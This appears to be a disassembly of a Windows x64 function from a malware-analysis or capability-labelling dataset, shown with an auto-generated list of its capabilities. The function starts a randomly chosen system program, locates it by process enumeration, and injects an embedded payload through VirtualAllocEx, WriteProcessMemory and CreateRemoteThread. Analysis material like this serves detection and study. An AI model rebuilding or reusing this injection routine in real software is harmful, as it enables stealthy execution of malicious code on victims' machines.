Function at 0x1400011e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x1650
call fcn.140002590
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1640], rax
lea rcx, [rsp + 0x40]
call fcn.140001030
nop
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov rcx, qword [rdx]
movsxd rcx, dword [rcx + 4]
add rcx, rdx
mov r8, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::imbue_class_std::locale_const____ptr64____ptr64]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000125d
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14000125d
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140001280
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140001280
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
lea rax, str.msedge.exe
mov qword [rsp + 0x40], rax
lea rax, str.mstsc.exe
mov qword [rsp + 0x48], rax
lea rax, str.msinfo32.exe
mov qword [rsp + 0x50], rax
lea rax, str.fsquirt.exe
mov qword [rsp + 0x58], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x1634], 0xffffffff
mov dword [rsp + 0x2b4], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x2b4], eax
inc rdx
cmp rdx, 0x270
jb 0x1400012d0
mov dword [rsp + 0x2b0], 0x270
lea rcx, [rsp + 0x2b0]
call fcn.1400015b0
mov ecx, eax
lea rax, [rcx + rcx*4]
test eax, eax
jne 0x140001338
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x2b0]
call fcn.1400015b0
mov ecx, eax
lea rax, [rcx + rcx*4]
cmp eax, 1
jb 0x140001320
shr rax, 0x20
mov ecx, 0x80000000
sub rax, rcx
xor rax, 0xffffffff80000000
mov rbx, qword [rsp + rax*8 + 0x40]
mov dword [rsp + 0x28], 1
xor ebp, ebp
mov qword [rsp + 0x20], rbp
xor r9d, r9d
mov r8, rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x70], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400013a8
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400013fa
nop word [rax + rax]
lea rax, [rsp + 0x9c]
mov r8, rbx
sub r8, rax
nop
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400013e4
add rax, 2
test ecx, ecx
jne 0x1400013d0
test edx, edx
je 0x14000140c
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400013c0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r8d, dword [rsp + 0x78]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14000143b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x7eed
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
mov rcx, rbx
test rax, rax
jne 0x140001480
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x20], rbp
mov r9d, 0x7eed
lea r8, [0x140005080]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400014fd
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbp, rax
test rax, rax
je 0x1400014fd
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400013fa
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3